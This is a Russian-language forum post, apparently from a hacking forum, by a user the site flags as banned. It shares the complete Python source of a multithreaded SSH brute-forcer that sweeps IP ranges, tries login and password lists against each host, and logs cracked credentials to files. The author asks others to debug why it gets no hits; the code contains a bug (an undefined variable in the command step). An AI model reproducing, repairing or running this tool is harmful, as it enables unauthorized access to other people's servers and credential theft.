Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
скорость потоков падает со временем а гудов я так и не получил. Кто шурупит - посмотрите в сорцы
________________________
start.py
file.py
так же создаем папку cfg, в которой создаем файлы good.txt good_full.txt login.txt pass.txt range.txt
Права на файлы 777
Чего не реализовано - нет проверки онлайн хост или нет, на каждый ip брутит весь список даже если нет ответа. Доработать не проблема если понять почему срабатываний-то нет.
________________________
start.py
Код:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# ----------------------------------------------------------
# coded by Ar3s
# How to use: python start.py
# Profit!
# ----------------------------------------------------------
import os
import re
import threading
import paramiko
import socket
import struct
import subprocess
import random
from file import io
#system
os.system('clear')
file = io()
thread_count = 100
def printer(data):
lock = threading.Lock()
lock.acquire()
#os.system('clear')
print data
lock.release()
def cleaner(list):
try:
list = dict([(item, None) for item in list]).keys()
except:
print 'Ошибка выборки уникальных значений из списка.'
return list
def ip_builder(from_ip, to_ip):
ips = []
from_ip = re.sub("^\s+|\n|\r|\s+$", '', from_ip)
to_ip = re.sub("^\s+|\n|\r|\s+$", '', to_ip)
try:
start = struct.unpack('>I', socket.inet_aton(from_ip))[0]
end = struct.unpack('>I', socket.inet_aton(to_ip))[0]
ips = [socket.inet_ntoa(struct.pack('>I', i)) for i in range(start, end)]
return ips
except:
print 'Неверно задан диапазон'
return ips
def ssh_cmd(ip, user, passwd, cmd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
printer(user+':'+passwd+'@'+ip)
ssh_session.exec_command(command)
data = user+':'+passwd+'@'+ip
status = file.writeto('good.txt', data)
data = data+'\t'+ssh_session.recv(1024)
status = file.writeto('good_full.txt', data)
except:
status = False
return
def ssh_connect(ip, user, passwd):
for u in xrange(len(user)):
usr = re.sub("^\s+|\n|\r|\s+$", '', user[u])
for p in xrange(len(passwd)):
pasw = re.sub("^\s+|\n|\r|\s+$", '', passwd[p])
ssh_cmd(ip, usr, pasw, 'id')
#printer(usr+':'+pasw+'@'+ip)
def main():
global thread_count
ips = []
ip = []
# Читаем диапазоны
status, ips = file.readfrom('range.txt')
if (status == True):
print 'Загружено ' +str(len(ips))+' диапазонов!'
for line in ips:
start_ip, finish_ip = line.strip().split('-')
for item in (ip_builder(start_ip, finish_ip)):
ip.append(item)
if (status == True):
try:
ip = cleaner(ip)
random.shuffle(ip)
print 'В задании '+str(len(ip))+' ip!'
status = True
except:
print 'Ошибка обработки IP'
status = False
# Читаем логины
status, user = file.readfrom('login.txt')
user = cleaner(user)
print 'В задании '+str(len(user))+' логинов'
# Читаем пароли
status, passwd = file.readfrom('pass.txt')
passwd = cleaner(passwd)
print 'В задании '+str(len(passwd))+' паролей'
# Запускаем потоки
threads = []
count = 0
while count < len(ip):
for i in xrange(thread_count):
try:
thread = threading.Thread(target=ssh_connect, args=(ip[count], user, passwd))
thread.start()
threads.append(thread)
except:
count = count
count += 1
for t in threads:
try:
t.join()
except:
tt = 1
# start main function
if __name__ == '__main__':
main()
Код:
#coding: utf-8
import time
import sys
import threading
import types
LOCK = threading.RLock()
folder = './cfg/'
class io:
def readfrom(self, name):
if (name == ''):
print 'Не указано имя файла для чтения!'
status = False
else:
data = []
try:
with open(folder+name, 'r') as rf:
for line in rf:
data.append(line)
status = True
except IOError:
print "Не найден файл: "+name
status = False
except ValueError:
print "Неверный формат файла: "+name
status = False
if (status == True):
return status, data
else:
data = []
return status, data
def writeto(self, name, data):
if not name or not data:
print 'Не указано имя файла или отсутствуют данные для записи в файл'
return False
else:
filename = folder+name
for i in xrange(5):
try:
with LOCK:
with open(filename, 'a') as out:
if isinstance(data, basestring):
out.write(data+'\n')
else:
for i in data:
out.write(i+'\n')
return True
except:
time.sleep(0.5)
print '5 попыток записи в файл оказались неудачными. Проверьте права на каталог и на файл для записи.'
return False
Права на файлы 777
Чего не реализовано - нет проверки онлайн хост или нет, на каждый ip брутит весь список даже если нет ответа. Доработать не проблема если понять почему срабатываний-то нет.